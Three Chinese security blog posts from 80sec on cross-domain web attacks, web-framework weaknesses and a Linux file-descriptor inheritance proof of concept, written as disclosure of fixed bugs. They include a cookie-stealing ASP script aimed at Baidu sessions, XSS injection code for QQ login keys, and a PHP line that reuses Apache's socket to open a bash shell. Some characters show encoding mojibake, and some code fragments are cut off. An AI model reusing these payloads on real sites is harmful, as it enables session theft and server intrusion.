淺談跨越WEB攻擊
Web 開發(fā)框架安全雜談淺談跨域WEB 攻擊Write by admin in 未分類 at 2011-04-08 17:03:53淺談跨域web 攻擊EMail: rayh4c#80sec.comS
Web 開發(fā)框架安全雜談
淺談跨域WEB 攻擊
Write by admin in 未分類 at 2011-04-08 17:03:53
淺談跨域web 攻擊
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2011-04-07
From: http://www.80sec.com
0×00 前言
一直想說說跨域web 攻擊這一概念,先前積累了一些案例和經(jīng)驗(yàn),所以想寫這么一篇文檔讓大家了解一下跨域web 攻擊,跨域web 攻擊指的是利用網(wǎng)站跨域安全設(shè)置缺陷進(jìn)行的web 攻擊,有別于傳統(tǒng)的攻擊,跨域web 攻擊可以從網(wǎng)站某個(gè)不重要的業(yè)務(wù)直接攻擊和影響核心業(yè)務(wù)。
傳統(tǒng)的安全思維教會(huì)我們按資產(chǎn)、功能等需求劃分核心業(yè)務(wù),優(yōu)先保護(hù)核心業(yè)務(wù)等,非核心業(yè)務(wù)的安全等級(jí)一般沒有核心業(yè)務(wù)高,給我們錯(cuò)覺是非核心業(yè)務(wù)受到攻擊的話,所造成損失不會(huì)很大,也不會(huì)影響到核心業(yè)務(wù),所以讓安全工作者了解跨域web 攻擊這一概念還是非常有意義的。
0×01 基于ajax 跨域設(shè)置的跨域攻擊
使用ajax 技術(shù)讓人頭痛的地方就是如何跨域,受同源策略所限不同域名包括子域名在內(nèi)是無法進(jìn)行AJAX 請(qǐng)求的,隨后衍生出一類技術(shù)可以通過設(shè)置document.domain 實(shí)現(xiàn)跨域。如a.test.com 和b.test.com, 當(dāng)兩個(gè)網(wǎng)站通過javascript 操作DOM 接口 document.domain=’test.com’ 將網(wǎng)站的域設(shè)置為
test.com 后,兩個(gè)網(wǎng)站就處于同一個(gè)域內(nèi),可以進(jìn)行各種跨域操作。在開發(fā)人員方面這是很方便的跨域技術(shù),但是在攻擊者眼中這簡(jiǎn)直就是一個(gè)大后門,黑客只需要找到*.test.com下任意一個(gè)XSS 漏洞,在任意一個(gè)子域名里的網(wǎng)頁都可以跨域攻擊a.test.com 和b.test.com 。
ajax 跨域設(shè)置另外一個(gè)重點(diǎn)是這種跨域設(shè)置還會(huì)影響到窗口引用關(guān)系的同源策略,如騰訊微博網(wǎng)站進(jìn)行了document.domain=’qq.com’的跨域設(shè)置,我們可以針對(duì)騰訊微博做個(gè)實(shí)驗(yàn),在自己的騰訊微博
javascript:window.opener.eval('alert(/xss/)');
最后得出結(jié)論,由于騰訊微博網(wǎng)站進(jìn)行了跨域設(shè)置,所以*.qq.com下的任意一個(gè)和騰訊微博有窗口引用關(guān)系的網(wǎng)頁,都可以往騰訊微博跨域注入腳本運(yùn)行。
案例:騰訊單點(diǎn)登錄系統(tǒng)跨域劫持漏洞
,QQ 的客戶端安裝了一個(gè)快速登錄插件,在客戶端已登錄且QQ.exe 在運(yùn)行的狀態(tài)下, 這個(gè)快速登錄插件可以自動(dòng)生成一個(gè)和QQ 號(hào)對(duì)應(yīng)的密鑰,在IE 瀏覽器訪問QQ 網(wǎng)站的各個(gè)應(yīng)用時(shí)通過這個(gè)密鑰可以免密碼一鍵登錄網(wǎng)站。我經(jīng)過分析發(fā)現(xiàn),這個(gè)快速登錄插件最大的安全措施是生成密鑰的關(guān)鍵函數(shù)設(shè)置了一個(gè)信任域xui.ptlogin2.qq.com ,也就是在xui.ptlogin2.qq.com 的網(wǎng)頁中我們才可以使用這個(gè)插件生成密鑰??焖俚卿洸寮倪@個(gè)信任域安全措施本意是阻止其他非安全域的網(wǎng)頁調(diào)用這個(gè)插件,而開發(fā)人員卻在xui.ptlogin2.qq.com 的一個(gè)網(wǎng)頁寫入了document.domain=’qq.com’的跨域設(shè)置,結(jié)果導(dǎo)致這個(gè)信任域形同虛設(shè)。通過QQ 任意分站的一個(gè)XSS 漏洞我們就能攻擊xui.ptlogin2.qq.com ,首先給分站的網(wǎng)頁進(jìn)行跨域設(shè)置,然后通過框架頁嵌入xui.ptlogin2.qq.com 的跨域設(shè)置頁,由于兩個(gè)網(wǎng)頁都設(shè)置了同一個(gè)域,同源策略生效,那么就可以跨域操作框架注入腳本到xui.ptlogin2.qq.com 的域內(nèi)運(yùn)行。部分攻擊代碼如下:
xss.js 的內(nèi)容:
window.name ='......' // xui.ptlogin2.qq.com域內(nèi)運(yùn)行的攻擊腳本省略 document.domain='qq.com'; //跨域設(shè)置
function exploit(){crossQQdomain.location =
"javascript:eval(window.parent.name);void(0)";} //在id 為
crossQQdomain 的框架中通過偽協(xié)議注入腳本
document.write(""); 通過window.name 內(nèi)設(shè)置的是調(diào)用快速登錄插件攻擊腳本代碼,被攻擊者訪問了我們的跨站鏈接后,我們就可以獲取到QQ 的一鍵登錄密鑰,后果不可想象。
0×02 基于cookie 安全的跨域攻擊
以前關(guān)于csrf 的文檔提過cookie 的“同源策略”,實(shí)際上這個(gè)只是含糊的說明了cookie 的domain 字段的作用。cookie 的domain 字段和瀏覽器約定俗成,如一般cookie 的domain 字段被默認(rèn)設(shè)置為
www.test.com, 二級(jí)域名*.test.com下就無法訪問這個(gè)cookie ,所以很多網(wǎng)站就將cookie 的domain 字段設(shè)置為.test.com 解決二級(jí)域名的cookie 讀取問題。
案例:第三方分站淪陷導(dǎo)致的百度cookie 安全問題
在百度的passport 登錄以后,百度會(huì)給客戶端設(shè)置一個(gè)名為BDUSS 的cookie 值,這個(gè)值的domain 字段是.baidu.com ,如下:
set-cookie:
BDUSS=EVaS0YtVW91NUFnNktNNDhCeUxZelByZ2t6VnNqc2VKNDhqanhXV0Q1a1p4TVJOQVFBQUFBJCQAAAAAAAAAAApBESM9lhgAcmF5c3R5bGUAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAADgekV4AAAAAOB6RXgAAAAAcF1CAAAAAAAxMC42NS4yNBk3nU0ZN51gh; expires=Tue, 01 Jan 2030 00:00:00 GMT; path=/; domain=.baidu.com
,這個(gè)cookie 是百度眾多的二級(jí)域名共享的身份認(rèn)證cookie ,在某個(gè)巧合下我發(fā)現(xiàn)了百度第三方網(wǎng)站
<
Dim sp,i,rf
sp = split(request.ServerVariables("HTTP_COOKIE"),"; ",-1,1) #通過服務(wù)器變量獲取HTTP 請(qǐng)求頭中的COOKIE 值
rf = Request.ServerVariables("HTTP_REFERER")
For i=0 to UBound(sp)
if instr(sp(i),"BDUSS")>0 then
txtfile=server.mappath("log.txt")
set fso = CreateObject("Scripting.FileSystemObject")
set MyFile = fso.opentextfile(txtfile,8,True,0)
MyFile.Writeline(date()&" "&time()& " "& rf)
MyFile.Writeline(sp(i)& Chr(13))
MyFile.Close
set fso = nothing
Response.cookies("BDUSS")="delete"
Response.cookies("BDUSS").Path="/"
Response.cookies("BDUSS").Expires=(now()-1)
Response.cookies("BDUSS").Domain = ".baidu.com"
end if
next
response.redirect
"http://static.tieba.baidu.com/tb/editor/images/tsj/t_0028.gif" # 302轉(zhuǎn)跳到真實(shí)的圖片
>
將http://zhishang.baidu.com/c.asp#.gif(#是url 注釋)這樣的鏈接當(dāng)成圖片發(fā)布在百度貼吧、百度HI 等的帖子或日志中,被攻擊者如果訪問了嵌入了類似圖片鏈接的網(wǎng)頁,瀏覽器將會(huì)向
zhishang.baidu.com 的腳本發(fā)起一個(gè)GET 請(qǐng)求,這個(gè)請(qǐng)求會(huì)帶上BDUSS 值的cookie ,服務(wù)端的腳本獲取這個(gè)cookie 后,攻擊者就可以在另一方利用這個(gè)cookie 偽造被攻擊者的身份使用百度相關(guān)的服務(wù)。 0×03 跨域web 攻擊的思考
跨域web 攻擊還有很多種,本文只提到了危害比較大的兩種,案例中所提到的漏洞也已經(jīng)修復(fù)。本文沒有再提到這類攻擊的防御措施,因?yàn)檫@類web 攻擊已經(jīng)有別于傳統(tǒng)的單點(diǎn)攻擊,實(shí)際上國內(nèi)外各大網(wǎng)站和web 程序都存在類似的安全問題,這類安全問題不是一個(gè)單獨(dú)的個(gè)例,而是從網(wǎng)站架構(gòu)開始就需要考慮的安全問題。
本文的目的并不是交大家如何利用跨域web 攻擊,而是希望大家通過這類安全問題思考更多,讓大家意識(shí)到現(xiàn)實(shí)的網(wǎng)絡(luò)并沒有絕對(duì)的安全,我們面臨的web 安全問題依然嚴(yán)峻,應(yīng)用和安全是一個(gè)對(duì)立面,我們需要在應(yīng)用和安全中間找到一個(gè)平衡點(diǎn)。
,0×04 參考
騰訊單點(diǎn)登錄系統(tǒng)跨域劫持漏洞 http://www.wooyun.org/bugs/wooyun-2010-0118
百度認(rèn)證機(jī)制問題分析與利用 http://www.wooyun.org/bugs/wooyun-2010-0253
Comments (0)
本站內(nèi)容均為原創(chuàng),轉(zhuǎn)載請(qǐng)務(wù)必保留署名與鏈接!
淺談跨域WEB 攻擊:http://www.80sec.com/cross_domain_attack.html
Linux 系統(tǒng)文件描述符繼承帶來的危害
淺談跨域WEB 攻擊 ?
Web 開發(fā)框架安全雜談
Write by admin in 未分類 at 2011-03-15 22:21:03
Web 開發(fā)框架安全雜談
EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2011-03-14
From: http://www.80sec.com/
[ 目錄 ]
0×00 起
0×01 承
0×02 轉(zhuǎn)
0×03 合
0×00起
最近框架漏洞頻發(fā),struts 任意代碼執(zhí)行、Django csrf token防御繞過、Cakephp 代碼執(zhí)行等等各大語言編程框架都相繼暴出高危漏洞,這說明對(duì)于編程框架的安全問題已經(jīng)逐漸走入安全工作者的視線。 Web 開發(fā)框架就相當(dāng)于web 應(yīng)用程序的操作系統(tǒng),他決定了一個(gè)應(yīng)用程序的模型結(jié)構(gòu)和編程風(fēng)格??蚣苌铣隽寺┒?,就如同當(dāng)年一個(gè)rpc 遠(yuǎn)程EXP 就走遍全世界windows 的時(shí)代。
然而挖掘深層原因,從應(yīng)用的模型和架構(gòu)上考慮問題,其實(shí)這些框架漏洞都不只是一種偶然,而是一種必然。正是因?yàn)榭蚣艿哪P徒Y(jié)構(gòu),正因?yàn)樗麄兊倪@種編程風(fēng)格,才極大的增加了漏洞產(chǎn)生的可能性。
0×01承
現(xiàn)代編程框架的幾個(gè)大特點(diǎn):
,1、將程序代碼分為不同層次,業(yè)務(wù)開發(fā)、前端開發(fā)、數(shù)據(jù)庫開發(fā)人員各司其職,框架根據(jù)需要組裝代碼、調(diào)度執(zhí)行
2、統(tǒng)一化自動(dòng)化邏輯處理
3、常見功能的代碼庫封裝并高度重用
4、腳手架功能,常見代碼組件自動(dòng)組裝生成。如默認(rèn)用戶系統(tǒng)、默認(rèn)后臺(tái)。
然而就是以上幾點(diǎn)廣受好評(píng)的功能導(dǎo)致了安全薄弱點(diǎn)的產(chǎn)生。
1、代碼調(diào)度
讓我們來先回顧一下WEB 應(yīng)用框架所最常見的MVC 模型。
用戶發(fā)送一個(gè)HTTP 請(qǐng)求過來,框架的入口點(diǎn)(一般是route ,路由)分析用戶請(qǐng)求的url 。然后依照url 中蘊(yùn)含的信息分析出用戶所要訪問的controller 、action ,從而分發(fā)給相應(yīng)的controller 文件中的action 函數(shù),執(zhí)行之;隨后controller 再將model 中的數(shù)據(jù)結(jié)合用戶輸入數(shù)據(jù)依照view 層中的代碼邏輯填充模板,最后view 、controller 執(zhí)行完畢,返回用戶最后的HTML 。
整個(gè)生命周期是這樣的:
用戶請(qǐng)求url->route分發(fā)->controller接管處理用戶輸入及業(yè)務(wù)邏輯->view層代碼執(zhí)行->controller返回展現(xiàn)結(jié)果
從上面的流程發(fā)現(xiàn)了什么?
MVC 模型就是一個(gè)將程序員分散在M 、C 、V 中的代碼尋找并整合在一起執(zhí)行的過程。那這必然就要牽涉到一個(gè)代碼調(diào)度執(zhí)行的問題。這里route 就是一個(gè)非常明顯的例子。一個(gè)框架這么多代碼文件,route 每一次調(diào)用controller ,都需要根據(jù)用戶輸入的url 進(jìn)行匹配并執(zhí)行用戶指定的函數(shù)。這里就是一個(gè)薄弱點(diǎn),一個(gè)必然繞不過去的問題。
對(duì)應(yīng)到現(xiàn)實(shí)的例子,一個(gè)非常明顯的例子就是:struts2框架的動(dòng)態(tài)方法調(diào)用(DMI )
當(dāng)你訪問www.test.com/a!test.action時(shí),struts 會(huì)根據(jù)你的url 幫你映射到名為a 的controller 中名為test 的Action 方法。而通過修改test 的值,我們可以訪問a 這個(gè)類中的所有方法。如果恰好這個(gè)方法中含有敏感的信息,攻擊者就獲得了一切。結(jié)合其他技巧,攻擊者能夠做到的更多。但這就是框架的功能,框架總是要依靠URL 中的內(nèi)容去匹配執(zhí)行程序代碼。
那么對(duì)于PHP 的框架呢?仔細(xì)想一下,如果PHP 需要做分散在不同文件中的代碼調(diào)度執(zhí)行,唯一能夠?qū)崿F(xiàn)的方式就是使用require/include函數(shù)包含文件。文件名來源于哪里?來源于用戶輸入的URL 。實(shí)際上目前市面上的大部分PHP 框架也都是這么實(shí)現(xiàn)的,Yii ,F(xiàn)leaPHP 等等。如果對(duì)用戶的輸入沒有做好驗(yàn)證,就很容易導(dǎo)致一個(gè)本地文件包含漏洞。筆者曾經(jīng)就在某不知名框架中發(fā)現(xiàn)過這樣的漏洞,在不涉及應(yīng)用程序邏輯的情況下,直接獲取了系統(tǒng)權(quán)限。
2、統(tǒng)一化邏輯處理
框架的一大功能就是,通過統(tǒng)一的入口點(diǎn),可以做一些統(tǒng)一的安全防護(hù)、邏輯控制。在軟件工程學(xué)里的說法,這個(gè)叫“面向切面編程”(AOP )。
然而我們并不是說這樣的統(tǒng)一控制模式不好,但對(duì)于這樣的統(tǒng)一控制,如果框架設(shè)計(jì)或?qū)崿F(xiàn)的不好,就能直接淪陷所有跑在之上的應(yīng)用。
,這里有一個(gè)典型的統(tǒng)一處理導(dǎo)致安全問題的極端的例子:struts2任意代碼執(zhí)行漏洞。
漏洞起因是struts2希望能讓用戶提交的值能夠直接注入到程序中的數(shù)據(jù)對(duì)象,而無需手動(dòng)類型轉(zhuǎn)換并給內(nèi)部變量賦值等操作。為此struts2專門設(shè)計(jì)了一個(gè)叫做ognl 的表達(dá)式。通過它,用戶提交的參數(shù)就能被自動(dòng)解析為程序上下文中所存在的變量。
想想為什么能夠自動(dòng)解析?原因是用戶提交的參數(shù)被當(dāng)作自定義語言的代碼被解析執(zhí)行了!只是你并沒有意識(shí)到這一點(diǎn)而已。于是有心人研究了一下,發(fā)現(xiàn)ognl 表達(dá)式除了參數(shù)值注入,還能通過它直接調(diào)用Java 自身的API 。于是,一個(gè)巨大的通殺0day 就這么誕生了。
回想一下,如果struts2沒有這么“智能”的自動(dòng)化、統(tǒng)一化用戶輸入處理機(jī)制,也就不會(huì)出現(xiàn)上述的大漏洞了。
前段時(shí)間爆出的Django 的csrf token繞過漏洞也是在統(tǒng)一安全處理的設(shè)計(jì)上出的問題。深究一下,為什么會(huì)出現(xiàn)這樣的繞過問題?原因就是,框架必須要對(duì)所有用戶的提交在真正的應(yīng)用執(zhí)行前做統(tǒng)一的csrf 防范,于是django 框架產(chǎn)生的token 是保存在cookie 中的(老版本和sessionid 有關(guān),這個(gè)也是保存在cookie 中)。對(duì)于用戶提交的POST 請(qǐng)求,表單中增加一項(xiàng)token ,框架在獲得token 值后,與cookie 中的正確token 值比對(duì),如果相等就通過。然而對(duì)于ajax 的請(qǐng)求,框架設(shè)計(jì)者卻想當(dāng)然的認(rèn)為只要判斷X-Requested-With 這個(gè)Ajax 特有的HTTP 頭即可,根本無需運(yùn)算比對(duì)token 。所以,框架對(duì)于http 頭中包含有X-Requested-With 域的請(qǐng)求放行。通常情況下,只有ajax 的請(qǐng)求瀏覽器才會(huì)帶上此自定義域,且瀏覽器一般無法自定義此字段。
結(jié)果被人發(fā)現(xiàn)可以利用flash 307跳轉(zhuǎn)可以偽造自定義http 頭,結(jié)果就繞過了此防范,導(dǎo)致統(tǒng)一的csrf 防護(hù)毫無作用。如果應(yīng)用程序完全依靠框架的統(tǒng)一安全實(shí)現(xiàn),就會(huì)受到安全漏洞的威脅。
其實(shí)Django 也很無奈,在它的架構(gòu)設(shè)計(jì)中,它通過這個(gè)自定義頭判斷ajax 思路上也沒有什么問題。可惜在目前連黃瓜都不可靠的年代,就沒什么是可靠的了。
3、常見代碼高度封裝
代碼的高度封裝,對(duì)外只暴露幾個(gè)接口,一行說明書。這必然造成一種現(xiàn)象:普通程序員就像是在搭建一個(gè)模型,只要按照說明書組建積木就可以了,不需要知曉其原理,不需要知道為什么要這樣做。于是這時(shí)候就安全問題就產(chǎn)生了。
舉一個(gè)同樣在用戶輸入?yún)?shù)自動(dòng)化處理方面的例子:在PHP 的ZendFramework 中,獲取用戶輸入是調(diào)用getParam 方法,而不是常見PHP 程序中分開來的$_GET、$_POST等變量。那么,如果同時(shí)在GET 、POST 、COOKIE 、HEADER 中提交相同名字的參數(shù),getParam 到底獲取的是哪一個(gè)的值?先后順序是什么?如果前后可以覆蓋,會(huì)不會(huì)影響到我們自定義的一些統(tǒng)一安全措施?這是一個(gè)值得檢查的安全薄弱點(diǎn)。
再舉一個(gè)struts2的例子:對(duì)于常見的文件上傳場(chǎng)景,struts 提供了一個(gè)FileUploadInterceptor 攔截器,直接可以在應(yīng)用邏輯運(yùn)行前對(duì)用戶上傳文件進(jìn)行檢查。然而在筆者的代碼審計(jì)經(jīng)驗(yàn)中,常常發(fā)現(xiàn)程序員只對(duì)maximumSize (文件大小)和allowedTypes (文件mime-type )進(jìn)行限制,卻放過了最關(guān)鍵的allowedExtensions (擴(kuò)展名)限制。為什么?筆者檢查了一下官方文檔,發(fā)現(xiàn)在struts2.2之前的文檔,都沒有給出allowExtensions 的說明?;蛟Sstruts 開發(fā)者想當(dāng)然的認(rèn)為allowedTypes 就可以限制上傳文件的類型,殊不知只要偽造HTTP 包中的mime-type 字段,就可以直接上傳任意文件。于是開發(fā)者也就依照官方的例子,只限制了allowdTypes ,從而導(dǎo)致安全問題的產(chǎn)生。
高度代碼封裝的確解決了“重復(fù)造輪子”的問題,但是它解決不了程序員的安全意識(shí)和懶惰的習(xí)慣?;蛟S它設(shè)計(jì)的很好,或許它實(shí)現(xiàn)的也很好,但是只要它組裝的不好,就有可能造成問題。
,4、腳手架功能
Django 的腳手架功能是非常好用的。它默認(rèn)自帶了一些app ,只要通過幾個(gè)簡(jiǎn)單的命令或配置,就可以在不敲一句代碼的情況下搭起一個(gè)普通網(wǎng)站的腳手架,自帶了用戶注冊(cè)、登陸等系統(tǒng),甚至還有一個(gè)默認(rèn)的管理員后臺(tái)。
然而正如上文所說,普通程序員并不了解框架真正做了些什么。他很有可能通過腳手架生成網(wǎng)站后,卻直接忘卻了程序自帶的內(nèi)容沒有去除。當(dāng)這樣的網(wǎng)站上線后。我們發(fā)現(xiàn)他是Django 所寫,那我們就可以直接嘗試在url 后加入/admin/路徑訪問,直接猜解后臺(tái)管理員密碼。此外如果框架自帶的默認(rèn)后臺(tái)出現(xiàn)安全漏洞,甚至可能直接繞過進(jìn)入后臺(tái)。
一旦使用框架默認(rèn)的組件,就得考慮到框架所帶來的默認(rèn)功能的安全問題。其實(shí)這問題可以擴(kuò)大,tomcat 自帶的后臺(tái)、fck 編輯器自帶的上傳組件,都可以說屬于此類問題。
0×02轉(zhuǎn)
框架的應(yīng)用是軟件開發(fā)的必然趨勢(shì),本文的目的也不在于抵制框架的使用。但對(duì)于框架應(yīng)用后所帶來的新安全問題,安全從業(yè)人員需要提高重視,緊跟技術(shù)發(fā)展,更新知識(shí)。對(duì)于此,我們能夠做點(diǎn)什么?
1、 對(duì)于常見的應(yīng)用場(chǎng)景,如文件操作、命令行操作、數(shù)據(jù)庫操作、用戶權(quán)限及認(rèn)證等,我們需要了解框架的實(shí)現(xiàn),給出相應(yīng)的安全編碼范例。
框架文檔中給出的例子并不一定就是最好的。安全工作者必須對(duì)程序員進(jìn)行安全意識(shí)的培訓(xùn),讓他知道如何利用框架的API 去安全的組合出常用功能。
2、 對(duì)于應(yīng)用漏洞挖掘,我們需要擴(kuò)充字典。
框架的封裝,可能引入更多的危險(xiǎn)API 或危險(xiǎn)特性。在代碼審計(jì)的過程中,需要將這些內(nèi)容加入到危險(xiǎn)詞字典中。
3、 對(duì)于應(yīng)用漏洞挖掘,由于框架結(jié)構(gòu)所帶入的新的安全薄弱點(diǎn),需要專門對(duì)框架的設(shè)計(jì)及實(shí)現(xiàn)做檢查,是否存在問題。
例如PHP 框架中代碼調(diào)度執(zhí)行的實(shí)現(xiàn)、文件上傳統(tǒng)一檢查的實(shí)現(xiàn)、封裝的變量獲取形式是否可靠等。本文中提到的安全薄弱點(diǎn)只是一個(gè)例子,更多的還需要大家的共同挖掘。
0×03合
實(shí)際上對(duì)于一個(gè)應(yīng)用的安全審計(jì)歸根到底就是個(gè)思路問題。筆者一直認(rèn)為,了解程序員的思路,了解框架的思路,了解應(yīng)用的思路,這些才是安全審計(jì)中最花時(shí)間的。而實(shí)際上真槍實(shí)彈看代碼的漏洞挖掘卻只占用很小的一部分時(shí)間。
只有將這些思路融會(huì)貫通,在腦中將審計(jì)對(duì)象進(jìn)行抽象建模,了解應(yīng)用需要保護(hù)什么,弱點(diǎn)在哪里,才能更為有效和有針對(duì)性的進(jìn)行代碼審計(jì)、安全防護(hù)。
最后,非常感謝劍心及空虛浪子心之前的研究成果和意見,對(duì)本文的幫助極大
Comments (0)
,本站內(nèi)容均為原創(chuàng),轉(zhuǎn)載請(qǐng)務(wù)必保留署名與鏈接!
Web 開發(fā)框架安全雜談:http://www.80sec.com/security-about-framework.html
WooYun-烏云正式上線
Web 開發(fā)框架安全雜談 ?
Linux 系統(tǒng)文件描述符繼承帶來的危害
Write by admin in 未分類 at 2010-11-23 19:02:26
Linux 系統(tǒng)文件描述符繼承帶來的危害
EMail: wofeiwo#80sec.com
Site: http://www.80sec.com
Date: 2010-11-20
[ 目錄 ]
0×00 背景
0×01 POC
0×02 深入利用
0×03 解決方案及后話
0×00 前言
在初學(xué)linux 編程的時(shí)候,都會(huì)知道這樣一個(gè)概念:當(dāng)你用fork 建立一個(gè)子進(jìn)程,父進(jìn)程的所有內(nèi)容會(huì)被“完完整整”的復(fù)制到子進(jìn)程中。子進(jìn)程是父進(jìn)程的一個(gè)clone 體,除了pid 不同,其余一切相同。
再試想一下這樣的場(chǎng)景:在Webserver 中,首先會(huì)使用root 權(quán)限啟動(dòng),以此打開root 權(quán)限才能打開的端口、日志等文件。然后降權(quán)到普通用戶,fork 出一些worker 進(jìn)程,這些進(jìn)程中再進(jìn)行解析腳本、寫日志、輸出結(jié)果等進(jìn)一步操作。
然而這里,仔細(xì)思考一下,就會(huì)發(fā)現(xiàn)隱含一個(gè)安全問題:子進(jìn)程中既然繼承了父進(jìn)程的FD ,那么子進(jìn)程中運(yùn)行的PHP 或其他腳本只需要繼續(xù)操作這些FD ,就能夠使用普通權(quán)限“越權(quán)”操作root 用戶才能操作的文件。
0×01 POC
為了驗(yàn)證這個(gè)想法,我們做了一個(gè)POC 。測(cè)試環(huán)境apache2.2.4 mod_php 5.2.14
首先我們查看任意一個(gè)apache 的worker 進(jìn)程的fd:
[root@testplat ~]# pidof httpd
11117 21009 10472
,[root@testplat ~]# cd /proc/21009/fd
[root@testplat fd]# ls -alh
dr-x------ 2 root root 0 11?? 11 16:44 .
dr-xr-xr-x 4 daemon daemon 0 11?? 11 16:42 ..
lr-x------ 1 root root 64 11?? 11 16:44 0 -> /dev/null
l-wx------ 1 root root 64 11?? 11 16:44 1 -> /dev/null
l-wx------ 1 root root 64 11?? 11 16:44 2 ->
/usr/local/apache2/logs/error_log
lrwx------ 1 root root 64 11?? 11 16:44 3 -> socket:[155615]
lr-x------ 1 root root 64 11?? 11 16:44 4 -> pipe:[155625]
l-wx------ 1 root root 64 11?? 11 16:44 5 -> pipe:[155625]
l-wx------ 1 root root 64 11?? 11 16:44 6 ->
/usr/local/apache2/logs/error_log
l-wx------ 1 root root 64 11?? 11 16:44 7 ->
/usr/local/apache2/logs/access_log
lr-x------ 1 root root 64 11?? 11 16:44 8 -> eventpoll:[166489]
[root@testplat fd]# ps aux | grep httpd
root 10472 0.0 0.0 74300 2524 ? Ss Nov11 0:04 /usr/local/apache2/bin/httpd -k start
daemon 21009 0.0 0.0 74476 4492 ? S Nov11 0:00
/usr/local/apache2/bin/httpd -k start
daemon 11117 0.0 0.0 74360 4028 ? S Nov12 0:00
/usr/local/apache2/bin/httpd -k start
root 31101 0.0 0.0 51208 456 pts/0 R 14:07 0:00 grep httpd
如上所示,果然在apache 的子進(jìn)程中保存了日志的句柄,apache 自身是daemon 權(quán)限,而這兩個(gè)句柄則是root 身份打開的。我們?cè)囋嚴(yán)胮hp fork出來一個(gè)進(jìn)程是否能夠繼續(xù)“越權(quán)”寫入此句柄。 &6");?>
訪問一下,看看是不是的確將12345寫入到了root 的errorlog 中。
[root@testplat htdocs]# tail ../logs/error_log
[Fri Nov 12 13:54:32 2010] [error] [client 172.21.153.169] request failed: error reading the headers
[Fri Nov 12 18:12:53 2010] [error] [client 172.21.153.169] request failed: error reading the headers
12345
[root@testplat htdocs]# ls -alh ../logs/error_log
-rw-r--r-- 1 root root 34M 11?? 15 14:54 ../logs/error_log
很好,寫進(jìn)去了。完美的證實(shí)了我們的想法。既然能夠只用一個(gè)低權(quán)限的webshell 就能讀寫web 日志,那么以后所有的Web 日志將不再有可靠性,任何信息都能加以偽造。當(dāng)然偽造或刪改日志不會(huì)如此簡(jiǎn)單,還有一些限制需要一定步驟,有心人繼續(xù)研究吧。
,0×02 深入利用
換一種思路,既然文件可以讀寫,那么webserver 的80端口socket 是否也能加以利用呢?linux 系統(tǒng)所有都是文件,既然都是FD ,肯定也能適用。首先找一下我們連接的FD 號(hào),我這里測(cè)試時(shí)寫死為9,因?yàn)榭隙ㄊ堑谝粋€(gè)連接:
system("python -c 'import pty;pty.spawn("/bin/bash")' 1>&9 0>&9 2>&9 ;" );
?>
接著我們用nc 訪問一下我們的腳本:
C:UsersGaRY>nc testplat 80
GET /shell.php HTTP/1.0
bash: /root/.bashrc: 權(quán)限不夠
bash-3.00$ id
id
uid=2(daemon) gid=2(daemon) groups=1(bin),2(daemon),4(adm),7(lp) bash-3.00$ exit
exit
exit
HTTP/1.1 200 OK
Date: Mon, 15 Nov 2010 07:16:25 GMT
Server: Apache/2.2.4 (Unix) PHP/5.2.14
X-Powered-By: PHP/5.2.14
Content-Length: 0
Connection: close
Content-Type: text/html
。 可見成功復(fù)用了我們連接服務(wù)器的socket ,直接nc 提交一個(gè)GET 請(qǐng)求之后就返回了一個(gè)交互式的shell 。這一切只需要一個(gè)簡(jiǎn)單的webshell 即可完成
利用80端口的socket 復(fù)用,我們繼續(xù)下去可以做穿墻等一系列更為猥瑣的事情。
0×03 解決方案及后話
通過上文的分析,我們了解到,利用linux 特性FD 的繼承,將會(huì)導(dǎo)致非常嚴(yán)重的越權(quán)問題。這本身就可以算作是一種類型的安全漏洞,不僅僅是apache ,不僅僅是webserver ,可能其他的網(wǎng)絡(luò)應(yīng)用都會(huì)存在類似的漏洞。
實(shí)際上Linux 系統(tǒng)自身在設(shè)計(jì)時(shí)也考慮到了這一類安全問題。系統(tǒng)給出的解決方案是:close_on_exec。當(dāng)父進(jìn)程打開文件時(shí),只需要應(yīng)用程序設(shè)置FD_CLOSEXEC標(biāo)志位,則當(dāng)fork 后exec 其他程序的時(shí)候,內(nèi)核自動(dòng)會(huì)將其繼承的父進(jìn)程FD 關(guān)閉。
這樣就解決了以上說明的問題,因?yàn)楫?dāng)你system 其他進(jìn)程時(shí),所有的fd 將不再繼承,則無法再利用。而你作為較低權(quán)限的進(jìn)程,也無法自己打開這些文件,所有操作都會(huì)報(bào)告權(quán)限不足。
在撰寫此文時(shí),發(fā)現(xiàn)Apache 已經(jīng)意識(shí)到了此安全問題,并在最近的版本中修復(fù)了,對(duì)所有打開的FD 都